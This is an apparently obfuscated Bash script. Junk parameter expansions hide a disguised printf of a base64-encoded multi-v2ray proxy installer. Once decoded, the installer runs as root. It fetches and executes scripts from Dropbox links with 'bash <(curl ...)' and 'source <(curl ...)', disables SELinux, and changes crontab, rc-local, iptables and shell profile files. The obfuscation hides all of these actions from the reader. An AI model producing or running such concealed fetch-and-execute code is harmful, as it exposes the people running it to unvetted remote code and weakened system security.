${*/Cn\(1d_P} ${*//\}S\"Ga} "${@//,WMDqT/2.G5-zx0}" ${*^} ${*//.Q1<6$z\}} ${*,} ${*,} ${*##h\]V\"J6} $* "${@,}" "${@%+PiYl<}" "${@//S2HZbRlw/qPs\}E,y}" ${*^^} ${@} "${@/Q5XGpr/M;,%zu}" $* ${*} "${@^^}" ${@%%;>Xi} ${*~~} ${@//\`D\)?\"\`/nqgKY} $@ ${*,,} ${!*} "${@,,}" $* "${@~~}" ${*^^} ${@,} "${@%#aGmV_u}" ${*,,} ${*##HrlSk^9} $* ${*/QT\)Pd#@~/_ELF} ${*/S0AkQF*o} "${@}" "${@~}" ${*//DZ\{_/o=\"DV} ${@//3jWRONd\(/X#jLxN} ${@/\$YvoSBT/ucsy} "${@,,}" ${*##ZwDKR} "${@/F+9x/_HGO6&\].}" ${@^} ${*~} "${@~~}" ${*/@>mz$H$A/Z|U\{#} "${@%=F.:}" ${*//e&?B/2$qn} ${@} ${*/TRZ>gr&} ${*,} "${@%%-\"Iyg=}" ${*//6wN82R/\"6y\)} "${@/xP&dXVF/;t\rWHFw}" $@ ${@%\]F\(C\`kG} ${*%%\"\)b,bVS*} ${*~} ${*%%.WXJ\}} ${@,,} ${*^} ${!@} ${!*} ${*~~} "${@%jESJ3\]\*}" "${@^^}" "${@/\}syL,A}" "${@//8r~XV,}" ${@%%m7XP} ${@%%9|B|} "${@}" ${*} ${@^} ${@##Nxu\[O>4D} ${*##H\}pLXRhj} ${*^} ${*//.>x0^/*\]i-t|} ${*,} ${@~~} ${*,,} "${@/\`@G;,:&/l\`d7dk#}" ${*~} ${*%%V9dO} "${@%%^qM#6}" ${*~~} ${@%G\}%Jql3} ${@^} ${*,} ${*//<4kYtt/>3$<} ${*%EdK#} ${*~~} ${@//L-%I-} ${@##hFVJ*sYr} ${*,,} "${@#PSv.5K}" ${*#>5cj+aF\`} ${@#l\[\{\{|dX} "${@}" "${@/s\)mbF$}" "${@/8:R,v/APZb} ${*//;bb\}_} ${@~~} ${!*} $@ ${@//B*Zph,} ${*##\`+_$k} ${@~~} ${@^} ${!@} ${*~} ${*##\(@&} ${@//ie#+\)NG8/o,x4j_W} ${!@} "${@,,}" ${@^^} ${@%%r\`WD|H} ${*%%MQZta3\!;} ${@%%_zrea\`,} ${*/VMB+Dl/ORhb} ${@%Jkh*1m} ${@#\(^\]a\A} ${@,,} ${*%niGu7\)\!;} "${@,}" ${*/0brpk\e/A\)=l} ${*~} ${@^^} "${@/q3<>@/RrU-Lo}" ${*~} ${@~~} ${*~~} ${*~} ${*##^\(\`$;} ${*,,} $* "${@/fDDUx|,5/9F+\(uN9y}" ${*^^} ${@/\}kU-x2th/Job1|\{V} ${*} ${*/y9yJPUC/%pS\Z} ${!*} ${!@} ${*,} ${*~~} ${*%%N_\[W+fUv} ${!*} ${@,,} "${@%%V:56Z^O,}" ${@,,} "${@/Wr;P0/OlI|}" "${@#VW\{y_@}" ${*~~} "${@//g?4f}" ${*/\]:sN&2L/6acj?c} ${@//7i1h:} ${!*} ${*%%T|-b8@\[} ${*/\"CXBcGK2} ${*~~} "${@,,}" "${@~~}" ${*^^} ${*~} "${@//GR\`2}" ${*,,} ${*%Q9@\]} ${@^} ${*~} ${!*} ${@//L\2Cm2O\{} "${@#fszV-\[\[}" "${@,,}" ${*//uu:Ihhv\[} ${*~} $* ${@} ${*%%_uT\p} "${@~~}" ${@%%s\y\"q$} "${@~~}" ${*^^} ${@^^} ${*#ei$E} ${*} ${*} ${@##VexA} ${*/yS\(SnWoM} "${@}" ${@//~jQ|m4} ${*,,} "${@,,}" ${*} "${@^}" "${@%uiT-SPS.}" ${@,,} ${!*} "${@}" ${*~~} ${*^} ${@##OOQE} ${*} ${*#B,OfW} "${@/@7<\!-\!\(}" "$@" ${*~} "${@%%wveUQ\g}" "${@/yf1ng}" "${@//o|MU|,/HRb,X}" ${*#W3mhk|z} ${*/Tw>\`} ${*^^} "${@#\]0Wu\3;g}" ${*//\}HS|u#@s} "${@%.X2\],5m}" ${*^} ${!@} ${*^^} ${@//sHNWNTM} "${@^}" ${*/;28oop\}/=L9ZX>js} <<< "$( ${@//Pyxk} ${@~} ${*%%tNni$K} ${*#gU8Z6s6D} "${@##180HeKjN}" ${*} ${@//@jWin/;a*Rk} "${@~~}" ${*} "${@/<\)eMs/in?9R}" ${@,,} ${*,,} "${@^^}" ${*//J@.n<\Ul/-7=WJ.} ${@/--jD/oG@Z} ${@##V783mPdI} ${@,} "${@##\(D:$HA\)\"}" "${@^^}" ${*/f4Os8+p} ${*/@>Dm;V9/Z6,\{} ${@~~} "${@}" "${@##4q\!;h}" ${@//mhu\3YWQ} ${*//XWMjVh} ${*~~} ${*} ${*%^\{&V} ${*~} ${*%%IRq~} ${@##dQ$Hh} ${*^} ${*} ${*,,} ${*#?mTizc1\[} "${@~~}" ${*//\SeI} ${!@} ${@} "${@%Nkjq8}" ${*##-\!:7\{&} ${@//\"$gZ/*LDi=sI} ${*~~} ${*/sksn4jz\{/p1y|\"~P} ${@/Y>iE\(\{%s} ${@,,} "${@%%$K;G}" ${*^} ${*##AWL\4b} ${*//H*p8} ${@%hSRm>Aq\"} "$@" ${@##ew.1} "${@//~|y2OJK}" ${*##Q\"tP\[Xr} ${@~} ${@//~m%UNw} ${@,,} ${*//u#ccMcfY/R*hSx7\}N} ${*/\"d37~w} ${*%%~WI>0} ${@^} $'\u0070'""\r''$'\151'${*%HJ:o}n""${*^}tf "IyBBdXRob3I6IEpyb2h5CiMgZ2l0aHViOiBodHRwczovL2dpdGh1Yi5jb20vSnJvaHkvbXVsdGktdjJyYXkKCiPlrprml7bku7vliqHljJfkuqzmiafooYzml7bpl7QoMH4yMykKQkVJSklOR19VUERBVEVfVElNRT0zCgoj6K6w5b2V5pyA5byA5aeL6L+Q6KGM6ISa5pys55qE6Lev5b6ECkJFR0lOX1BBVEg9JChwd2QpCgoj5a6J6KOF5pa55byPLCAw5Li65YWo5paw5a6J6KOFLCAx5Li65L+d55WZdjJyYXnphY3nva7mm7TmlrAKSU5TVEFMTF9XQVk9MAoKI+WumuS5ieaTjeS9nOWPmOmHjywgMOS4uuWQpiwgMeS4uuaYrwpIRUxQPTAKClJFTU9WRT0wCgpDSElORVNFPTAKCiNCQVNFX1NPVVJDRV9QQVRIPSJodHRwczovL211bHRpLm5ldGxpZnkuYXBwIgpCQVNFX1NPVVJDRV9QQVRIPSJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vbGFjYXNpdGFteC9tdWx0aS12MnJheS14L21hc3RlciIKVVRJTF9QQVRIPSIvZXRjL3YycmF5X3V0aWwvdXRpbC5jZmciCgpVVElMX0NGRz0iJEJBU0VfU09VUkNFX1BBVEgvdjJyYXlfdXRpbC91dGlsX2NvcmUvdXRpbC5jZmciCgpCQVNIX0NPTVBMRVRJT05fU0hFTEw9IiRCQVNFX1NPVVJDRV9QQVRIL3YycmF5IgoKQ0xFQU5fSVBUQUJMRVNfU0hFTEw9IiRCQVNFX1NPVVJDRV9QQVRIL3YycmF5X3V0aWwvZ2xvYmFsX3NldHRpbmcvY2xlYW5faXB0YWJsZXMuc2giCgojQ2VudG9zIOS4tOaXtuWPlua2iOWIq+WQjQpbWyAtZiAvZXRjL3JlZGhhdC1yZWxlYXNlICYmIC16ICQoZWNobyAkU0hFTEx8Z3JlcCB6c2gpIF1dICYmIHVuYWxpYXMgLWEKCltbIC16ICQoZWNobyAkU0hFTEx8Z3JlcCB6c2gpIF1dICYmIEVOVl9GSUxFPSIuYmFzaHJjIiB8fCBFTlZfRklMRT0iLnpzaHJjIgoKIyMjIyMjI2NvbG9yIGNvZGUjIyMjIyMjIwpSRUQ9IjMxbSIKR1JFRU49IjMybSIKWUVMTE9XPSIzM20iCkJMVUU9IjM2bSIKRlVDSFNJQT0iMzVtIgoKY29sb3JFY2hvKCl7CiAgICBDT0xPUj0kMQogICAgZWNobyAtZSAiXDAzM1ske0NPTE9SfSR7QDoyfVwwMzNbMG0iCn0KCiMjIyMjIyNnZXQgcGFyYW1zIyMjIyMjIyMjCndoaWxlIFtbICQjID4gMCBdXTtkbwogICAga2V5PSIkMSIKICAgIGNhc2UgJGtleSBpbgogICAgICAgIC0tcmVtb3ZlKQogICAgICAgIFJFTU9WRT0xCiAgICAgICAgOzsKICAgICAgICAtaHwtLWhlbHApCiAgICAgICAgSEVMUD0xCiAgICAgICAgOzsKICAgICAgICAta3wtLWtlZXApCiAgICAgICAgSU5TVEFMTF9XQVk9MQogICAgICAgIGNvbG9yRWNobyAke0JMVUV9ICJrZWVwIGNvbmZpZyB0byB1cGRhdGVcbiIKICAgICAgICA7OwogICAgICAgIC0temgpCiAgICAgICAgQ0hJTkVTRT0xCiAgICAgICAgY29sb3JFY2hvICR7QkxVRX0gIuWuieijheS4reaWh+eJiC4uXG4iCiAgICAgICAgOzsKICAgICAgICAqKQogICAgICAgICAgICAgICAgIyB1bmtub3duIG9wdGlvbgogICAgICAgIDs7CiAgICBlc2FjCiAgICBzaGlmdCAjIHBhc3QgYXJndW1lbnQgb3IgdmFsdWUKZG9uZQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwoKaGVscCgpewogICAgZWNobyAiYmFzaCB2MnJheS5zaCBbLWh8LS1oZWxwXSBbLWt8LS1rZWVwXSBbLS1yZW1vdmVdIgogICAgZWNobyAiICAtaCwgLS1oZWxwICAgICAgICAgICBTaG93IGhlbHAiCiAgICBlY2hvICIgIC1rLCAtLWtlZXAgICAgICAgICAgIGtlZXAgdGhlIGNvbmZpZy5qc29uIHRvIHVwZGF0ZSIKICAgIGVjaG8gIiAgICAgIC0tcmVtb3ZlICAgICAgICAgcmVtb3ZlIHYycmF5LHhyYXkgJiYgbXVsdGktdjJyYXkiCiAgICBlY2hvICIgICAgICAgICAgICAgICAgICAgICAgIG5vIHBhcmFtcyB0byBuZXcgaW5zdGFsbCIKICAgIHJldHVybiAwCn0KCnJlbW92ZVYyUmF5KCkgewogICAgI+WNuOi9vVYycmF56ISa5pysCiAjICAgYmFzaCA8KGN1cmwgLUwgLXMgaHR0cHM6Ly9tdWx0aS5uZXRsaWZ5LmFwcC9nby5zaCkgLS1yZW1vdmUgPi9kZXYvbnVsbCAyPiYxCiBiYXNoIDwoY3VybCAtTCAtcyBodHRwczovL3d3dy5kcm9wYm94LmNvbS9zL3dza2Vka2pxYWs0NzR3Yy9nby5zaCkgLS1yZW1vdmUgPi9kZXYvbnVsbCAyPiYxCiAgICBybSAtcmYgL2V0Yy92MnJheSA+L2Rldi9udWxsIDI+JjEKICAgIHJtIC1yZiAvdmFyL2xvZy92MnJheSA+L2Rldi9udWxsIDI+JjEKCiAgICAj5Y246L29WHJheeiEmuacrAogIyAgIGJhc2ggPChjdXJsIC1MIC1zIGh0dHBzOi8vbXVsdGkubmV0bGlmeS5hcHAvZ28uc2gpIC0tcmVtb3ZlIC14ID4vZGV2L251bGwgMj4mMQogYmFzaCA8KGN1cmwgLUwgLXMgaHR0cHM6Ly93d3cuZHJvcGJveC5jb20vcy93c2tlZGtqcWFrNDc0d2MvZ28uc2gpIC0tcmVtb3ZlIC14ID4vZGV2L251bGwgMj4mMQogICAgcm0gLXJmIC9ldGMveHJheSA+L2Rldi9udWxsIDI+JjEKICAgIHJtIC1yZiAvdmFyL2xvZy94cmF5ID4vZGV2L251bGwgMj4mMQoKICAgICPmuIXnkIZ2MnJheeebuOWFs2lwdGFibGXop4TliJkKICAgIGJhc2ggPChjdXJsIC1MIC1zICRDTEVBTl9JUFRBQkxFU19TSEVMTCkKCiAgICAj5Y246L29bXVsdGktdjJyYXkKICAgIHBpcCB1bmluc3RhbGwgdjJyYXlfdXRpbCAteQogICAgcm0gLXJmIC91c3Ivc2hhcmUvYmFzaC1jb21wbGV0aW9uL2NvbXBsZXRpb25zL3YycmF5LmJhc2ggPi9kZXYvbnVsbCAyPiYxCiAgICBybSAtcmYgL3Vzci9zaGFyZS9iYXNoLWNvbXBsZXRpb24vY29tcGxldGlvbnMvdjJyYXkgPi9kZXYvbnVsbCAyPiYxCiAgICBybSAtcmYgL3Vzci9zaGFyZS9iYXNoLWNvbXBsZXRpb24vY29tcGxldGlvbnMveHJheSA+L2Rldi9udWxsIDI+JjEKICAgIHJtIC1yZiAvZXRjL2Jhc2hfY29tcGxldGlvbi5kL3YycmF5LmJhc2ggPi9kZXYvbnVsbCAyPiYxCiAgICBybSAtcmYgL3Vzci9sb2NhbC9iaW4vdjJyYXkgPi9kZXYvbnVsbCAyPiYxCiAgICBybSAtcmYgL2V0Yy92MnJheV91dGlsID4vZGV2L251bGwgMj4mMQogICAgcm0gLXJmIC9ldGMvcHJvZmlsZS5kL2lwdGFibGVzLnNoID4vZGV2L251bGwgMj4mMQogICAgcm0gLXJmIC9yb290Ly5pcHRhYmxlcyA+L2Rldi9udWxsIDI+JjEKCiAgICAj5Yig6ZmkdjJyYXnlrprml7bmm7TmlrDku7vliqEKICAgIGNyb250YWIgLWx8c2VkICcvU0hFTEw9L2Q7L3YycmF5L2QnfHNlZCAnL1NIRUxMPS9kOy94cmF5L2QnID4gY3JvbnRhYi50eHQKICAgIGNyb250YWIgY3JvbnRhYi50eHQgPi9kZXYvbnVsbCAyPiYxCiAgICBybSAtZiBjcm9udGFiLnR4dCA+L2Rldi9udWxsIDI+JjEKCiAgICBpZiBbWyAke1BBQ0tBR0VfTUFOQUdFUn0gPT0gJ2RuZicgfHwgJHtQQUNLQUdFX01BTkFHRVJ9ID09ICd5dW0nIF1dO3RoZW4KICAgICAgICBzeXN0ZW1jdGwgcmVzdGFydCBjcm9uZCA+L2Rldi9udWxsIDI+JjEKICAgIGVsc2UKICAgICAgICBzeXN0ZW1jdGwgcmVzdGFydCBjcm9uID4vZGV2L251bGwgMj4mMQogICAgZmkKCiAgICAj5Yig6ZmkbXVsdGktdjJyYXnnjq/looPlj5jph48KICAgIHNlZCAtaSAnL3YycmF5L2QnIH4vJEVOVl9GSUxFCiAgICBzZWQgLWkgJy94cmF5L2QnIH4vJEVOVl9GSUxFCiAgICBzb3VyY2Ugfi8kRU5WX0ZJTEUKCiAgICBSQ19TRVJWSUNFPWBzeXN0ZW1jdGwgc3RhdHVzIHJjLWxvY2FsfGdyZXAgbG9hZGVkfGVncmVwIC1vICJbQS1aYS16L10rL3JjLWxvY2FsLnNlcnZpY2UiYAoKICAgIFJDX0ZJTEU9YGNhdCAkUkNfU0VSVklDRXxncmVwIEV4ZWNTdGFydHxhd2sgJ3twcmludCAkMX0nfGN1dCAtZCA9IC1mMmAKCiAgICBzZWQgLWkgJy9pcHRhYmxlcy9kJyB+LyRSQ19GSUxFCgogICAgY29sb3JFY2hvICR7R1JFRU59ICIJXGVbOTFtXGVbNDNtVjJSQVkgREVTSU5TVEFMQURPIVxlWzBtIgp9CgpjbG9zZVNFTGludXgoKSB7CiAgICAj56aB55SoU0VMaW51eAogICAgaWYgWyAtcyAvZXRjL3NlbGludXgvY29uZmlnIF0gJiYgZ3JlcCAnU0VMSU5VWD1lbmZvcmNpbmcnIC9ldGMvc2VsaW51eC9jb25maWc7IHRoZW4KICAgICAgICBzZWQgLWkgJ3MvU0VMSU5VWD1lbmZvcmNpbmcvU0VMSU5VWD1kaXNhYmxlZC9nJyAvZXRjL3NlbGludXgvY29uZmlnCiAgICAgICAgc2V0ZW5mb3JjZSAwCiAgICBmaQp9CgpjaGVja1N5cygpIHsKICAgICPmo4Dmn6XmmK/lkKbkuLpSb290CiAgICBbICQoaWQgLXUpICE9ICIwIiBdICYmIHsgY29sb3JFY2hvICR7UkVEfSAiRXJyb3I6IFlvdSBtdXN0IGJlIHJvb3QgdG8gcnVuIHRoaXMgc2NyaXB0IjsgZXhpdCAxOyB9CgogICAgaWYgW1sgYGNvbW1hbmQgLXYgYXB0LWdldGAgXV07dGhlbgogICAgICAgIFBBQ0tBR0VfTUFOQUdFUj0nYXB0LWdldCcKICAgIGVsaWYgW1sgYGNvbW1hbmQgLXYgZG5mYCBdXTt0aGVuCiAgICAgICAgUEFDS0FHRV9NQU5BR0VSPSdkbmYnCiAgICBlbGlmIFtbIGBjb21tYW5kIC12IHl1bWAgXV07dGhlbgogICAgICAgIFBBQ0tBR0VfTUFOQUdFUj0neXVtJwogICAgZWxzZQogICAgICAgIGNvbG9yRWNobyAkUkVEICJOb3Qgc3VwcG9ydCBPUyEiCiAgICAgICAgZXhpdCAxCiAgICBmaQp9Cgoj5a6J6KOF5L6d6LWWCmluc3RhbGxEZXBlbmRlbnQoKXsKICAgIGlmIFtbICR7UEFDS0FHRV9NQU5BR0VSfSA9PSAnZG5mJyB8fCAke1BBQ0tBR0VfTUFOQUdFUn0gPT0gJ3l1bScgXV07dGhlbgogICAgICAgICR7UEFDS0FHRV9NQU5BR0VSfSBpbnN0YWxsIHNvY2F0IGNyb250YWJzIGJhc2gtY29tcGxldGlvbiB3aGljaCAteQogICAgZWxzZQogICAgICAgICR7UEFDS0FHRV9NQU5BR0VSfSB1cGRhdGUKICAgICAgICAke1BBQ0tBR0VfTUFOQUdFUn0gaW5zdGFsbCBzb2NhdCBjcm9uIGJhc2gtY29tcGxldGlvbiBudHBkYXRlIGdhd2sgLXkKICAgIGZpCgogICAgI2luc3RhbGwgcHl0aG9uMyAmIHBpcAogICAgc291cmNlIDwoY3VybCAtc0wgaHR0cHM6Ly93d3cuZHJvcGJveC5jb20vcy9mdjliNHA1a2VqMWd4Z3UvaW5zdGFsbC5zaCkKfQoKdXBkYXRlUHJvamVjdCgpIHsKICAgIFtbICEgJCh0eXBlIHBpcCAyPi9kZXYvbnVsbCkgXV0gJiYgY29sb3JFY2hvICRSRUQgInBpcCBubyBpbnN0YWxhZG8hIiAmJiBleGl0IDEKCiAgICBbWyAtZSAvZXRjL3Byb2ZpbGUuZC9pcHRhYmxlcy5zaCBdXSAmJiBybSAtZiAvZXRjL3Byb2ZpbGUuZC9pcHRhYmxlcy5zaAoKICAgIFJDX1NFUlZJQ0U9YHN5c3RlbWN0bCBzdGF0dXMgcmMtbG9jYWx8Z3JlcCBsb2FkZWR8ZWdyZXAgLW8gIltBLVphLXovXSsvcmMtbG9jYWwuc2VydmljZSJgCgogICAgUkNfRklMRT1gY2F0ICRSQ19TRVJWSUNFfGdyZXAgRXhlY1N0YXJ0fGF3ayAne3ByaW50ICQxfSd8Y3V0IC1kID0gLWYyYAoKICAgIGlmIFtbICEgLWUgJFJDX0ZJTEUgfHwgLXogYGNhdCAkUkNfRklMRXxncmVwIGlwdGFibGVzYCBdXTt0aGVuCiAgICAgICAgTE9DQUxfSVA9YGN1cmwgLXMgaHR0cDovL2FwaS5pcGlmeS5vcmcgMj4vZGV2L251bGxgCiAgICAgICAgW1sgYGVjaG8gJExPQ0FMX0lQfGdyZXAgOmAgXV0gJiYgSVBUQUJMRV9XQVk9ImlwNnRhYmxlcyIgfHwgSVBUQUJMRV9XQVk9ImlwdGFibGVzIiAKICAgICAgICBpZiBbWyAhIC1lICRSQ19GSUxFIHx8IC16IGBjYXQgJFJDX0ZJTEV8Z3JlcCAiL2Jpbi9iYXNoImAgXV07dGhlbgogICAgICAgICAgICBlY2hvICIjIS9iaW4vYmFzaCIgPj4gJFJDX0ZJTEUKICAgICAgICBmaQogICAgICAgIGlmIFtbIC16IGBjYXQgJFJDX1NFUlZJQ0V8Z3JlcCAiXFtJbnN0YWxsXF0iYCBdXTt0aGVuCiAgICAgICAgICAgIGNhdCA+PiAkUkNfU0VSVklDRSA8PCBFT0YKCltJbnN0YWxsXQpXYW50ZWRCeT1tdWx0aS11c2VyLnRhcmdldApFT0YKICAgICAgICAgICAgc3lzdGVtY3RsIGRhZW1vbi1yZWxvYWQKICAgICAgICBmaQogICAgICAgIGVjaG8gIltbIC1lIC9yb290Ly5pcHRhYmxlcyBdXSAmJiAkSVBUQUJMRV9XQVktcmVzdG9yZSAtYyA8IC9yb290Ly5pcHRhYmxlcyIgPj4gJFJDX0ZJTEUKICAgICAgICBjaG1vZCAreCAkUkNfRklMRQogICAgICAgIHN5c3RlbWN0bCByZXN0YXJ0IHJjLWxvY2FsCiAgICAgICAgc3lzdGVtY3RsIGVuYWJsZSByYy1sb2NhbAoKICAgICAgICAkSVBUQUJMRV9XQVktc2F2ZSAtYyA+IC9yb290Ly5pcHRhYmxlcwogICAgZmkKCiAgICBwaXAgaW5zdGFsbCAtVSB2MnJheV91dGlsCgogICAgaWYgW1sgLWUgJFVUSUxfUEFUSCBdXTt0aGVuCiAgICAgICAgW1sgLXogJChjYXQgJFVUSUxfUEFUSHxncmVwIGxhbmcpIF1dICYmIGVjaG8gImxhbmc9ZW4iID4+ICRVVElMX1BBVEgKICAgIGVsc2UKICAgICAgICBta2RpciAtcCAvZXRjL3YycmF5X3V0aWwKICAgICAgICBjdXJsICRVVElMX0NGRyA+ICRVVElMX1BBVEgKICAgIGZpCgogICAgW1sgJENISU5FU0UgPT0gMSBdXSAmJiBzZWQgLWkgInMvbGFuZz1lbi9sYW5nPXpoL2ciICRVVElMX1BBVEgKCiAgICBybSAtZiAvdXNyL2xvY2FsL2Jpbi92MnJheSA+L2Rldi9udWxsIDI+JjEKICAgIGxuIC1zICQod2hpY2ggdjJyYXktdXRpbCkgL3Vzci9sb2NhbC9iaW4vdjJyYXkKICAgIHJtIC1mIC91c3IvbG9jYWwvYmluL3hyYXkgPi9kZXYvbnVsbCAyPiYxCiAgICBsbiAtcyAkKHdoaWNoIHYycmF5LXV0aWwpIC91c3IvbG9jYWwvYmluL3hyYXkKCiAgICAj56e76Zmk5pen55qEdjJyYXkgYmFzaF9jb21wbGV0aW9u6ISa5pysCiAgICBbWyAtZSAvZXRjL2Jhc2hfY29tcGxldGlvbi5kL3YycmF5LmJhc2ggXV0gJiYgcm0gLWYgL2V0Yy9iYXNoX2NvbXBsZXRpb24uZC92MnJheS5iYXNoCiAgICBbWyAtZSAvdXNyL3NoYXJlL2Jhc2gtY29tcGxldGlvbi9jb21wbGV0aW9ucy92MnJheS5iYXNoIF1dICYmIHJtIC1mIC91c3Ivc2hhcmUvYmFzaC1jb21wbGV0aW9uL2NvbXBsZXRpb25zL3YycmF5LmJhc2gKCiAgICAj5pu05pawdjJyYXkgYmFzaF9jb21wbGV0aW9u6ISa5pysCiAgICBjdXJsICRCQVNIX0NPTVBMRVRJT05fU0hFTEwgPiAvdXNyL3NoYXJlL2Jhc2gtY29tcGxldGlvbi9jb21wbGV0aW9ucy92MnJheQogICAgY3VybCAkQkFTSF9DT01QTEVUSU9OX1NIRUxMID4gL3Vzci9zaGFyZS9iYXNoLWNvbXBsZXRpb24vY29tcGxldGlvbnMveHJheQogICAgaWYgW1sgLXogJChlY2hvICRTSEVMTHxncmVwIHpzaCkgXV07dGhlbgogICAgICAgIHNvdXJjZSAvdXNyL3NoYXJlL2Jhc2gtY29tcGxldGlvbi9jb21wbGV0aW9ucy92MnJheQogICAgICAgIHNvdXJjZSAvdXNyL3NoYXJlL2Jhc2gtY29tcGxldGlvbi9jb21wbGV0aW9ucy94cmF5CiAgICBmaQogICAgCiAgICAj5a6J6KOFVjJyYXnkuLvnqIvluo8KICAgIFtbICR7SU5TVEFMTF9XQVl9ID09IDAgXV0gJiYgYmFzaCA8KGN1cmwgLUwgLXMgaHR0cHM6Ly93d3cuZHJvcGJveC5jb20vcy93c2tlZGtqcWFrNDc0d2MvZ28uc2gpCn0KCiPml7bpl7TlkIzmraUKdGltZVN5bmMoKSB7CiAgICBpZiBbWyAke0lOU1RBTExfV0FZfSA9PSAwIF1dO3RoZW4KICAgICAgICBlY2hvIC1lICIke0luZm99IFRpbWUgU3luY2hyb25pemluZy4uICR7Rm9udH0iCiAgICAgICAgaWYgW1sgYGNvbW1hbmQgLXYgbnRwZGF0ZWAgXV07dGhlbgogICAgICAgICAgICBudHBkYXRlIHBvb2wubnRwLm9yZwogICAgICAgIGVsaWYgW1sgYGNvbW1hbmQgLXYgY2hyb255Y2AgXV07dGhlbgogICAgICAgICAgICBjaHJvbnljIC1hIG1ha2VzdGVwCiAgICAgICAgZmkKCiAgICAgICAgaWYgW1sgJD8gLWVxIDAgXV07dGhlbiAKICAgICAgICAgICAgZWNobyAtZSAiJHtPS30gVGltZSBTeW5jIFN1Y2Nlc3MgJHtGb250fSIKICAgICAgICAgICAgZWNobyAtZSAiJHtPS30gbm93OiBgZGF0ZSAtUmAke0ZvbnR9IgogICAgICAgIGZpCiAgICBmaQp9Cgpwcm9maWxlSW5pdCgpIHsKCiAgICAj5riF55CGdjJyYXnmqKHlnZfnjq/looPlj5jph48KICAgIFtbICQoZ3JlcCB2MnJheSB+LyRFTlZfRklMRSkgXV0gJiYgc2VkIC1pICcvdjJyYXkvZCcgfi8kRU5WX0ZJTEUgJiYgc291cmNlIH4vJEVOVl9GSUxFCgogICAgI+ino+WGs1B5dGhvbjPkuK3mlofmmL7npLrpl67popgKICAgIFtbIC16ICQoZ3JlcCBQWVRIT05JT0VOQ09ESU5HPXV0Zi04IH4vJEVOVl9GSUxFKSBdXSAmJiBlY2hvICJleHBvcnQgUFlUSE9OSU9FTkNPRElORz11dGYtOCIgPj4gfi8kRU5WX0ZJTEUgJiYgc291cmNlIH4vJEVOVl9GSUxFCgogICAgI+WFqOaWsOWuieijheeahOaWsOmFjee9rgogICAgW1sgJHtJTlNUQUxMX1dBWX0gPT0gMCBdXSAmJiB2MnJheSBuZXcKCiAgICBlY2hvICIiCn0KCmluc3RhbGxGaW5pc2goKSB7CiAgICAj5Zue5Yiw5Y6f54K5CiAgICBjZCAke0JFR0lOX1BBVEh9CgogICAgW1sgJHtJTlNUQUxMX1dBWX0gPT0gMCBdXSAmJiBXQVk9Imluc3RhbGwiIHx8IFdBWT0idXBkYXRlIgogICAgY29sb3JFY2hvICAke0dSRUVOfSAibXVsdGktdjJyYXkgJHtXQVl9IHN1Y2Nlc3MhXG4iCgogICAgaWYgW1sgJHtJTlNUQUxMX1dBWX0gPT0gMCBdXTsgdGhlbgogICAgICAgIGNsZWFyCgogICAgICAgIHYycmF5IGluZm8KCiAgICAgICAgZWNobyAtZSAiIFxlWzkxbVxlWzQzbSBFU0NSSUJFICd2MnJheScgUEFSQSBFTlRSQVIgQUwgTUVOw5ogVjJSQVlcZVswbVxuIgogICAgZmkKfQoKCm1haW4oKSB7CgogICAgW1sgJHtIRUxQfSA9PSAxIF1dICYmIGhlbHAgJiYgcmV0dXJuCgogICAgW1sgJHtSRU1PVkV9ID09IDEgXV0gJiYgcmVtb3ZlVjJSYXkgJiYgcmV0dXJuCgogICAgW1sgJHtJTlNUQUxMX1dBWX0gPT0gMCBdXSAmJiBjb2xvckVjaG8gJHtCTFVFfSAiCVxlWzkxbVxlWzQzbU5VRVZBIElOU1RBTEFDSU9OXGVbMG1cbiIKCiAgICBjaGVja1N5cwoKICAgIGluc3RhbGxEZXBlbmRlbnQKCiAgICBjbG9zZVNFTGludXgKCiAgICB0aW1lU3luYwoKICAgIHVwZGF0ZVByb2plY3QKCiAgICBwcm9maWxlSW5pdAoKICAgIGluc3RhbGxGaW5pc2gKfQoKbWFpbg==" ${*} ${@^^} ${*##K=gwQRb} "${@##*_vtB0c}" "${@}" ${@^^} ${*%%%U\)$} ${*%%gEV0T?%} "${@//u1bkF?l}" ${*/M:%cSm2} "${@,}" "${@~}" ${@~~} ${*~~} ${*//j1lN} "${@/=_p>:\`je}" ${*//ZUy|E/k0\{I} ${*,} ${!*} ${*%h%qu\\} ${*~} ${@~~} ${@~~} ${!*} "${@^^}" ${@//P~fx/\]2i?} ${@~~} ${*/a\}N0@} ${@,,} ${*^} ${*~} ${*} ${*~~} ${*//r<,Z\`s/%$iPT3*} ${@%+YD\)B\it} "${@,,}" ${*^} ${!*} ${@/B5DM} "${@}" ${@%D^=EX} ${@~} ${*^} "${@/M\[\\}" ${*~~} ${*//*>CXYGw} ${@,} ${@#n\"\}8w<} ${*} ${*%%8h\)^aV} ${*~~} ${*~~} "${@//,zU.yqhq}" ${*^^} ${*//\J*\"uRoS/<5dRsd} ${@%%u*t|7} ${*,} $* ${*,} ${*##n\[?zmD\`} ${*,,} "${@,,}" "${@~}" ${@//&-|,1} ${*%%\Lt8L,y} ${*,} ${@^} ${!@} "${@~~}" ${@/T+hZli/K-,l} "${@^}" ${@~~} ${*//9B0NVA/d$366b} "${@/u?VX3/\xv4}" "${@~}" ${*%zF:?>&} ${@,,} ${@^} "${@#bjt%>Z\(I}" ${*##Y9.\[} ${@%E4Yp} ${!*} "${@,}" "${@^}" ${@//~QY\{H0.} ${*^} ${*%%3~J1-\~} ${*^^} ${*^} ${*//\[l\}I~q} $* ${*~~} "${@^^}" ${@,} ${*~} ${@,,} ${*^^} ${*//-c\[9} "${@~}" ${*//Dp*3/aW3K&^\(H} ${*/_#9r\]Nm} ${@,} ${*~} ${*%%\`7e\)t} $@ ${@%RA7S~=Eu} ${*,,} ${@~} ${*%%fda=3K-} "${@~~}" $* ${!@} ${*//<6hk<4<} ${!*} "${@,,}" ${*~~} ${*,} "${@~~}" $* ${*/,t\{wVphk} ${*,,} "${@~~}" ${*,,} "${@/\{\)^v/7slAm}" ${*~~} ${*~~} $@ ${*%Ad\[\[1wl} ${@^^} ${*,} ${*%%E~wES^w} ${*} "${@//\!\)_^}" "${@##\[:S|a}" ${@/L\[5\"W/nW>+} $* "${@,}" ${*^} ${@^^} ${@/oBJ1I\(oJ} ${*//+RO<5^N/8P~l:0VZ} ${*%%Sh&k\)\(} ${*/M$%eU%z/-Ur0} ${@~} ${*~~} $* ${@/D+=m:L} ${*/NFZ5bC/?w00bj} ${*##\=GG\{++} ${*~~} ${@,,} $* "${@~~}" ${*/u}" "${@#9^cgC\!}" "${@#\`x\]h+}" 